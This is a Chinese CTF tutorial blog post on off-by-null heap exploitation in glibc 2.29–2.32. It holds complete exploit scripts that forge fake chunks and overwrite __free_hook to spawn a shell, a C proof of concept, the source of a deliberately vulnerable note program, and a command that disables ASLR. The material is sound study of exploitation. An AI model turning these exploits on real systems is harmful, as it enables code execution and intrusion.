高版本off by null的总结

高版本libc(2.29-2.32) off by one的总结

首先介绍off-by-null各个版本的变化,不过说实话高版本libc(2.29-2.32) off by one有点不太适用现在的情况了,因为在相同的条件下完全可以适用更方便的方法而且限制更少,比如house of apple ,house of banana,Safe-Linking机制的绕过,tcache stashing unlink attack,而且在学习的时候最好从非爆破的方法学起,因为爆破的两个方法相比较下比较复杂,当是当作练习对堆的了解还是很好的。

2.23 之前的代码

void unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

2.23

粘个图(unlink是必须了解的)

image-20230409091835428

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
//多了一个检查如上图
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size)
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) 
                malloc_printerr (check_action,
                                 "corrupted double-linked list (not small)",
                                 P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

2.27

unlink 没有什么变化只是整个宏定义被变更成了函数

#define unlink(AV, P, BK, FD) {

    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr ("corrupted double-linked list");
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (chunksize_nomask (P))
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr ("corrupted double-linked list (not small)");
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

合并没有什么变化

if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

而在2.27之前的利用手法就是(如下图)只修改prev_size 和prev_inuse就可以触发

image-20230402131214390 image-20230402131747057

2.29

适用版本:2.29 2.32

利用前提;

unlink

static void unlink_chunk (mstate av, mchunkptr p)
{
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");

    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");

        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

合并变化

这里的情况是:

1. 检查 prev_inuse 位是否置为0,来决定是否触发向后合并。
2. 若触发,取出本 chunk 的 prev_size ,并根据 prev_size 找到要进行 unlink 的 chunk 。
3. 检查要进行 unlink 的 chunk 的 size 域是否与取出的 prev_size 相等。
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    
    //新保护
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

/* consolidate forward */
if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

也就是说要想在2.29-2.32版本如果是off by one的任意字节写,那么可以把A.size伪造成A.size+B.size。但是仅仅是写0字节就没有办法直接伪造成功。

因此需要伪造一个chunk p,这样就很容易可以绕过chunksize(p) != prevsize检查

但由于是伪造的chunk,所以需要手动构造fd、bk以满足unlink的条件。

需要满足下面的条件(p是要释放的chunk,fake是我们伪造的chunk)

fake_chunk->fd->bk=fake_chunk_add

fake_chunk->bk->fd=fake_chunk_add

p->prev=fake_chunk->size

1、爆破法

1 创建padding抬高chunk地址让下面申请的大chunk A地址的第二个字节为\x00下 故会需要爆破概率为1/16 并让这个chunk进入large bin中这样是为了利用它的next指针(此时next指针指向它本身)(就是从A 中申请一个chunk作为fake因为此时fake的fd bk指针是原本的lA的next指针 此时就会有fake->bk=A )

2 申请出4个fastbin并让fake的fd指向fastbin中的一个chunkB在将fastbinB进入smallbin中(利用了malloc_consolidate()函数)这样chunk的bk指针就会有一个chunk地址(为什么不利用tcache是因为在2.29及以后的版本中在tcaahe中增加一个key机制)在利用(此时有了fake->fd=B)

3 利用uaf这个漏洞修改从small bin 中申请出的chunkB的bk指针的后一个字节为fake地址的第一个字节 ,又因为会自动补一个\x00会将第二个字节复改为\x00这也是为什么要抬高地址的原因,(此时有b->bk=fake)

4 再将fake申请回来将A的fd指针修改为fake的地址(因为fake的用户区是从A的fd指针开始)(此时有了A->fd=fake)

至于p->prev=fake_chunk->size这个自己根据实际情况在什么时候修改都行

缺点:

对申请的chunk的size有要求因为这个方法需要用到fasstbin

也就是说一大难点就是为fake布置可以绕过unlink检查的环境

image-20230409152638203

image-20230409111500824

例题 :happyending

在调试前关闭aslr

su
# input root password
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
# 0

参考的风沐云烟这个师傅的思路(很巧妙但有点复杂,可以加强堆的理解对ptmalloc源码的理解,因为涉及了large bin ,small bin,fastbin,tcache bin )

1、抬高地址让第二个字节为0 称这个chunk为a,故需要爆破1/16(如下图)

image-20230408104502478

2、伪造fake chunk(需要考虑一个问题就是需要绕过unlink的双向链表检查)

首先让a进入large bin中因为largebin中只有一个chunk所以他的next指针指向自己 这个已经完成fake->bk=a

image-20230408105026014

从a中申请出5个0x28的chunk

在申请fake是修改fd为a

image-20230409145313530

image-20230409142030375

让 15 17 号chunk进入fastbin 中首先将tcache填满

想要15 的bk指向fake(也即是14)

做法就是先让15进入fastbin在进入smallbin中,

申请0x400的chunk触发malloc_consolidate()函数把fastbin中chunk进入smallbin中让15这个chunk的bk出现一个堆地址

image-20230408105715427

fastbin中

15的fd指向17

17的fd指向fastbin的bin头

smallbin中

15的fd指向17

15的bk指向smallbin的bin头

17的fd指向smallbin的bin头

17的bk指向15

申请0x28的chunk把在一个smallbin中一个chunk申请出一个,另一个进入tcache中

这是因为在ptmalloc开始前的一部分会检查存在的free的chunk是否在tcache中如果在就会来链入tcache中,在tcache stashing unlink attack中运用了这个点(当我们将chunk从small bin拿出来的时候,还会去检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(tcache bin不能为空))

image-20230407215415212

将15申请出来并修改一下fd

image-20230407221428568

上面只是完成一半的检查 fake->bk=a fake->fd=a

fake->bk=a 不用配置因为在上面说了当large bin中只有一个是它的next指针指向的是字节,又因为fake是在a(那个large bin)申请的第一个0x28的chunk所以fake的bk指针就是a的bk_next指针

a->fd=fake 这个也好布置 因为fake的用户区就是从a的fd指针开始,将它free 在add回来就可以并写一个\x20就行

下面就是 fake->fd=b b->bk=fake

fake->fd=b 就是将fake申请回来直接修改fd

b->bk=fake 就是先将b放进fastbin 在进入smallbin中在申请回来 修改bk就行

image-20230408153720162

接下来就是出发这个漏洞就可以

首先修改触发unlink漏洞的pri_size的大小,也就是根据这个来找到要合并的fake chunk

最后将这个chunk free 就行(被修改pri_size的chunk)

image-20230408155248164

触发攻击时的布局

image-20230408103107393

image-20230408103146079

image-20230408103201482

接下来就是打一个double free 打一个free_hook

首先申请一个0x40的chunk从合并的chunk中,然后释放掉

image-20230408170740226

然后就是把0x14这个chunk(也就是fake chunk) free掉,形成double free

image-20230408171530622

然后将14在申请出来将fd的位置写为free_hook

image-20230408171750273

在通过tcache0x50 这个将它申请出来在里面写system

image-20230408171915498

exp

from tools import*
context.log_level ='DEBUG'
def new(size,content):
	p.sendlineafter('>\n','1')
	p.sendlineafter('length :',str(size))
	p.sendafter('them!',content)
def free(index):
	p.sendlineafter('>','2')
	p.sendlineafter('debuff :',str(index))
def show(index):
	p.sendlineafter('>','3')
	p.sendlineafter('blessing :',str(index))
p,e,libc=load('pwn')

add_p=0x129E
delete_p=0x1415
write_p=0x1547
for i in range(4):   #0~3    padding
	new(0x1000,'FMYY')

new(0x1000-0x3E0,'FMYY') # 4  填充字节使堆地址的后一个半字节为零,为什么不是后两个字节,因为那半个字节随机化
#--large bin
for i in range(7):   #5~11   
	new(0x28,'FMYY')



new(0xB20,'FAKE')   #11
new(0x10,'FMYY')  #12   prevent merging
free(12)   #let 11 chunks go into unsorted bins

new(0x1000,'FMYY')  #  13 let 12 go into largebin


new(0x28,p64(0) + p64(0x521) + b'\x40') #  apple back the first 0x28 of 12 that chunk   14 
#--

#-- small bin      cut 4 more chunks of 0x28 from 12 chunk
new(0x28,'F') #15  padding     chunk b
new(0x28,'M') #16
new(0x28,'Y') #17  padding
new(0x28,'Y') #18

for i in range(7): #5 - 11   fill the 0x30 tcache
	free(5+i)

free(17)   #enter fastbin   
free(15)


for i in range(7): # 5 ~ 11   
	new(0x28,'FMYY')

new(0x400,'FMYY')  #go ahead and cut chunks from 12   
#put the chunks in fastbin into smallbin 
#在程序调用 malloc() 分配内存时,malloc() 会检查堆中是否有足够大的空闲块。
#如果没有,malloc() 就会调用 malloc_consolidate() 合并相邻的空闲块,以便为请求提供足够大的内存空间。

new(0x28,p64(0) + b'\x20')     #14

new(0x28,'clear') # clear the tcachebin
#--

#--fast bin
for i in range(7):   #5 ~ 11
	free(5 + i)
free(16)   #into fastbin
free(14)

for i in range(7):  # 5 ~ 11
	new(0x28,'FMYY')


new(0x28,'\x20')   # 16 14
new(0x28,'clear')



new(0x28,'Target') #20
new(0x5F8,'Last')  #21
#new(0x100,'FMYY')2 
free(20)
new(0x28,b'\x00'*0x20 + p64(0x520))



free(21)     #21   Trigger vulnerabilities
debug(p,'pie',add_p,delete_p,write_p)
new(0x40,'aaaaaaa')     # take 0x40 from the merged chunk   21
show(16)

libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,b'\x00')) - 0x70- libc.sym['__malloc_hook']
log_addr('libc_base')

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(21)     #21   release the chunk of the 0x40 of the application
free(14)

new(0x28,b'\x00'*0x10 + p64(free_hook))   #

new(0x40,'/bin/sh\x00')     #21
new(0x40,p64(system))

free(21)
p.interactive()

改进版

这个方法只是利用了large bin 和unsorted bin就可以进行攻击 和上面的区别就是a和b的size在large内

完成布置的场景

image-20230409152654318 image-20230409151815600

image-20230409152719569

fake->fd=a a->bk=fake

fake->bk=b b->fd=fake

fake chunk

image-20230404123028759

a

image-20230404123115802

b

image-20230404123132768

触发unlink

image-20230404123151976

poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	puts("Welcome to poison null byte!");
	puts("Tested in Ubuntu 20.04 64bit.");
	puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");

	puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");

	// step1: allocate padding
	puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
	void *tmp = malloc(0x1);
	void *heap_base = (void *)((long)tmp & (~0xfff));
	printf("heap address: %p\n", heap_base);
	size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
	printf("Calculate padding chunk size: 0x%lx\n", size);
	puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
	void *padding= malloc(size);

	// step2: allocate prev chunk and victim chunk
	puts("\nStep2: allocate two chunks adjacent to each other.");
	puts("Let's call the first one 'prev' and the second one 'victim'.");
	void *prev = malloc(0x500);
	void *victim = malloc(0x4f0);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);
	printf("prev chunk: malloc(0x500) = %p\n", prev);
	printf("victim chunk: malloc(0x4f0) = %p\n", victim);

	// step3: link prev into largebin
	puts("\nStep3: Link prev into largebin");
	puts("This step is necessary for us to forge a fake chunk later");
	puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
	puts("allocate a chunk 'a' with size a little bit smaller than prev's");
	void *a = malloc(0x4f0);
	printf("a: malloc(0x4f0) = %p\n", a);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);
	puts("allocate a chunk 'b' with size a little bit larger than prev's");
	void *b = malloc(0x510);
	printf("b: malloc(0x510) = %p\n", b);
	puts("malloc(0x10) to avoid consolidation");
	malloc(0x10);

	puts("\nCurrent Heap Layout\n"
		 "    ... ...\n"
		 "padding\n"
		 "    prev Chunk(addr=0x??0010, size=0x510)\n"
     	 "  victim Chunk(addr=0x??0520, size=0x500)\n"
		 " barrier Chunk(addr=0x??0a20, size=0x20)\n"
		 "       a Chunk(addr=0x??0a40, size=0x500)\n"
		 " barrier Chunk(addr=0x??0f40, size=0x20)\n"
		 "       b Chunk(addr=0x??0f60, size=0x520)\n"
		 " barrier Chunk(addr=0x??1480, size=0x20)\n");

	puts("Now free a, b, prev");
	free(a);
	free(b);
	free(prev);
	puts("current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n");

	puts("Allocate a huge chunk to enable sorting");
	malloc(0x1000);
	puts("current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");

	puts("This will add a, b and prev to largebin\nNow prev is in largebin");
	printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10);
	printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);

	// step4: allocate prev again to construct fake chunk
	puts("\nStep4: Allocate prev again to construct the fake chunk");
	puts("Since large chunk is sorted by size and a's size is smaller than prev's,");
	puts("we can allocate 0x500 as before to take prev out");
	void *prev2 = malloc(0x500);
	printf("prev2: malloc(0x500) = %p\n", prev2);
	puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b");
	assert(prev == prev2);

	puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10");
	puts("So set its size to 0x501 (0x510-0x10 | flag)");
	((long *)prev)[1] = 0x501;
	puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check");
	*(long *)(prev + 0x500) = 0x500;
	printf("The fake chunk should be at: %p\n", prev + 0x10);
	puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk");
	puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");

	// step5: bypass unlinking
	puts("\nStep5: Manipulate residual pointers to bypass unlinking later.");
	puts("Take b out first by allocating 0x510");
	void *b2 = malloc(0x510);
	printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10);
	printf("We can overwrite the least significant two bytes to make it our fake chunk.\n"
			"If the lowest 2nd byte is not \\x00, we need to guess what to write now\n");
	((char*)b2)[0] = '\x10';
	((char*)b2)[1] = '\x00';  // b->fd <- fake_chunk
	printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);

	puts("To do the same to a, we can move it to unsorted bin first"
			"by taking it out from largebin and free it into unsortedbin");
	void *a2 = malloc(0x4f0);
	free(a2);
	puts("Now free victim into unsortedbin so that a->bck points to victim");
	free(victim);
	printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim);
	puts("Again, we take a out and overwrite a->bck to fake chunk");
	void *a3 = malloc(0x4f0);
	((char*)a3)[8] = '\x10';
	((char*)a3)[9] = '\x00';
	printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]);
	// pass unlink_chunk in malloc.c:
	//      mchunkptr fd = p->fd;
	//      mchunkptr bk = p->bk;
	//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
	//          malloc_printerr ("corrupted double-linked list");
	puts("And we have:\n"
		 "fake_chunk->fd->bk == a->bk == fake_chunk\n"
		 "fake_chunk->bk->fd == b->fd == fake_chunk\n"
		 );

	// step6: add fake chunk into unsorted bin by off-by-null
	puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin");
	puts("Take victim out from unsortedbin");
	void *victim2 = malloc(0x4f0);
	printf("%p\n", victim2);
	puts("off-by-null into the size of vicim");
	/* VULNERABILITY */
	((char *)victim2)[-8] = '\x00';
	/* VULNERABILITY */

	puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n"
			"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n"
			"add the merged chunk into unsortedbin."
			);
	printf("For our fake chunk, because of what we did in step4,\n"
			"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n"
			"so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev);
	free(victim);
	puts("After freeing the victim, the new merged chunk is added to unsorted bin"
			"And it is overlapped with the prev chunk");

	// step7: validate the chunk overlapping
	puts("Now let's validate the chunk overlapping");
	void *merged = malloc(0x100);
	printf("merged: malloc(0x100) = %p\n", merged);
	memset(merged, 'A', 0x80);
	printf("Now merged's content: %s\n", (char *)merged);

	puts("Overwrite prev's content");
	memset(prev2, 'C', 0x80);
	printf("merged's content has changed to: %s\n", (char *)merged);

	assert(strstr(merged, "CCCCCCCCC"));
}

利用手法

构造一个fake满足unlink条件构造。首先利用large bin多出的两个next指针去当作fake的fd bk指针

fake->fd=A fake->bk=B

下面就是利用uaf不断去修改A, B进入unsorted中让它们的fd 或bk指针为堆地址在修改一下最后一个字节为fake的最后一个字节就行了

大致布局

1 申请三个4个chunk A B0 C0 H0 D并让chunk C第一个地址是\x00 barrier为防止合并的chunk

如下图

image-20230409114543799

2 设置prev->fd_next=A prev->bk_next=B (通过让prev A B这三个进入large bin中)

也就是构造好fake的fd bk 指针

在unsorted bin中是

image-20230405111133703

large bin中时

image-20230409115102993

在把prev这个chunk申请回来并伪造fake

image-20230409120001481

设置 victim的prev的size为0x500

image-20230405111549178

将B在申请回来并修改B的fd指针

image-20230409124817680

将A申请回来(此时已经回复原来的状态)

image-20230409125020841

变化

prev(fake->fd=A fake->bk=B size=0x501)

image-20230409125312576

victim

image-20230409125500509

B

image-20230409132000946

接下来就只有A的bk指针没有修改了

然后一次free A2(就是第二次申请的A) victim 做出a->bk=victim:再将A2申请回来为A3修改第一个字节为fake的第一个字节(将A 和victim进入unsorted中形成一个双链表,目的就是让A的bk指针是一个堆地址就行)

image-20230409125828179

image-20230409130100621

将free的堆块申请回来

image-20230405111808781

再将victim2申请回来修改一下inuse为0就可以了然后将victim释放掉就行了

image-20230409131031613

非爆破

这个跟爆破的根本上的区别就是合并的方向

爆破法就是我们大多数遇到的情况就是向下合并(向低地址)这种合并方式导致我们无法只能修改地址最少要改变两个字节地址,这就导致我们只能倒数第二个字节一定为零,又因为有半个字节不确定,随意需要爆破半个字节

而非爆破的合并方向是向上合并(向高地址),假设要free的是A在上面的是B,这样的合并方式可以即保存指针又可以通过在申请是申请的大小为B+0x20,这样就可以修改A的fd或bk指针(就是通过补的一个\x00覆盖指针最后一个字节为零,这也就是为什么需要抬高C0的地址最后一个字节是\x00)

调试过程

1、chunk布局

申请chunk并抬高c0的地址&0xff=0

image-20230411164106897 image-20230411164357876

布置链表

C0->fd=A, C0->bk=D C0.size=0x551

一次释放A,C0,D进入unsortedbin中形成双链表从而构造出 C0->fd=A C0->bk=D

image-20230411165511011

释放B0与C0合并将C0的fd bk指针保存下来

image-20230411165736943

在申请一个比B0大0x20的chunk这样就可以修改C0的size

image-20230411170249445

然后将剩下的chunk申请回来 称此时申请回来的C0为C1

修改A->bk=C0

做法是将A跟C1释放进入unsorted中形成链表

free C1

free A 此时A->bk=C1再将 A申请回来修改bk为C0的地址

image-20230411173041287

接下来就是修改D->fd=C0

作法是将C1 D释放进入unsortedbin中 ,在将H释放将D合并,再将H申请出来回复size在利用补零将fd指针

image-20230411174954583

修改D的prev_size

image-20230411175459864

此时已经构造出fake 和它的的unlink关系

image-20230411175910252

接下来就是打一个常规的tcache,free hook getshell。这个我在这仔细讲一下吧主要是自己基础不牢

主要就是在合并的大chunk中有一个没有free的chunk也就是防止合并的第六个chunk,也就是利用这个chunk去打一个tcache poisoning

源码

#include<stdio.h>
struct chunk{
	long *point;
	unsigned int size;
}chunks[9];


void add()
{
	unsigned int index=0;
	unsigned int size=0;
	puts("Index:");
	scanf("%d",&index);
	if(index>=9)
	{
		puts("wrong index!");
		exit(0);
	}
	if(chunks[index].point)
	{
		puts("already exist!");
		return ;
	}

	puts("Size:");
	scanf("%d",&size);
	chunks[index].point=malloc(size);
	chunks[index].size=size;

	if(!chunks[index].point)
	{
		puts("malloc error!");
		exit(0);
	}

	char *p=chunks[index].point;
	puts("Content:");
	p[read(0,chunks[index].point,chunks[index].size)]=0;
}
void show()
{
	unsigned int index=0;
	puts("Index:");
	scanf("%d",&index);
	if(index>=9)
	{
		puts("wrong index!");
		exit(0);
	}
	if(!chunks[index].point)
	{
		puts("It's blank!");
		exit(0);
	}
	puts(chunks[index].point);
}
void edit()
{
	unsigned int index;
	puts("Index:");
	scanf("%d",&index);
	if(index>=9)
	{
		puts("wrong index!");
		exit(0);
	}
	if(!chunks[index].point)
	{
		puts("It's blank!");
		exit(0);
	}
	char *p=chunks[index].point;
	puts("Content:");
	p[read(0,chunks[index].point,chunks[index].size)]=0;
}
void delete()
{
	unsigned int index;
	puts("Index:");
	scanf("%d",&index);
	if(index>=9)
	{
		puts("wrong index!");
		exit(0);
	}
	if(!chunks[index].point)
	{
		puts("It's blank!");
		exit(0);
	}

	free(chunks[index].point);
	chunks[index].point=0;
	chunks[index].size=0;
}
void menu()
{
	puts("(1) add a chunk");
	puts("(2) show content");
	puts("(3) edit a chunk");
	puts("(4) delete a chunk");
	puts(">");
}

void init()
{
	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	setvbuf(stderr,0,2,0);

}
void main()
{
	init();
	unsigned int choice;
	puts("Welcome to new school note.");
	while(1)
	{
		menu();
		scanf("%d",&choice);
		switch(choice)
		{
			case 1:
				add();
				break;
			case 2:
				show();
				break;
			case 3:
				edit();
				break;
			case 4:
				delete();
				break;
			default:
				exit(0);
		}
	}

}

exp


from tools import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')


p,e,libc=load('poc')

def choice(elect):	
	p.sendlineafter('>',str(elect) )


def choose_idx(idx):
	p.sendlineafter("Index:\n", str(idx))

def add(index,size, content='A'):
	choice(1)
	choose_idx(index)
	p.sendlineafter("Size:", str(size))
	p.sendafter("Content:", content)

def edit(index,content,full=False):
	choice(3)
	choose_idx(index)
	p.sendafter("Content:", content)

def show(index):
	choice(2)
	choose_idx(index)

def delete(index):
	choice(4)
	choose_idx(index)



# =============================================
# step1 P&0xff = 0
add_p=0x9fe
delete_p=0xD75 
edit_p=0xCA7
show_p=0xB9F
add(0,0x418, "A"*0x100) #0 A = P->fd
add(1,0x108+0x40) #1 barrier
add(2,0x438, "B0"*0x100) #2 B0 helper
add(3,0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
add(4,0x108,'4'*0x100) #4 barrier
add(5, 0x488, "H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(6,0x428, "D"*0x100) # 6 D = P->bk
add(7,0x108) # 7 barrier


# =============================================
# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D
# unsortedbin: D-C0-A   C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk


add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])  # put A,D into largebin, split BC. use B1 to set p->size=0x551

# recovery
add(3,0x418)  # C1 from ub
add(6,0x428)  # bk  D  from largebin
add(0,0x418,b"0"*0x100)  # fd 	A from largein

# =============================================
# step3 use unsortedbin to set fd->bk
# partial overwrite fd -> bk 
delete(0) # A=P->fd
delete(3) # C1
# unsortedbin: C1-A ,   A->BK = C1
add(0, 0x418, 'a' * 8)  # 2 partial overwrite bk    A->bk = p
add(3, 0x418)

# =============================================
# step4 use ub to set bk->fd
delete(3) # C1
delete(6) # D=P->bk     
# ub-D-C1    D->FD = C1
delete(5) # merge D with H, preserve D->fd 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) # H1. bk->fd = p, partial write \x00

add(3, 0x3b0) # recovery

# =============================================
# step5 off by null
edit(4, 0x100*b'4' + p64(0x550))# off by null, set fake_prev_size = 0x550, prev inuse=0
debug(p,'pie',add_p,delete_p,edit_p,show_p)
delete(6) # merge H1 with C0. trigger overlap C0,4,6


# =============================================
# step6 overlap 

add(6,0x438) # put libc to chunk 4
# z()
show(4) # libc
libc_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr-0x1e4ca0
log_addr('libc_addr')
log_addr('libc_base')



delete(6) # consolidate
add(6, 0x458, 0x438*b'6'+p64(0x111)) # fix size for chunk 4. 6 overlap 4


delete(7) # tcache
delete(4) # tcache

edit(6, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook'])) # set 4->fd= __free_hook


add(7,0x108,'/bin/sh\x00')
add(4,0x108,'/bin/sh\x00')
edit(4, p64(libc_base+libc.sym['system']))

delete(7)

p.interactive()


#0x202060

参考

https://fmyy.pro/2020/05/23/Competition/DASCTF-May/#happyending

https://github.com/cru5h0/off-by-null

posted @ 2023-04-11 23:08  何思泊河  阅读(490)  评论(0编辑  收藏  举报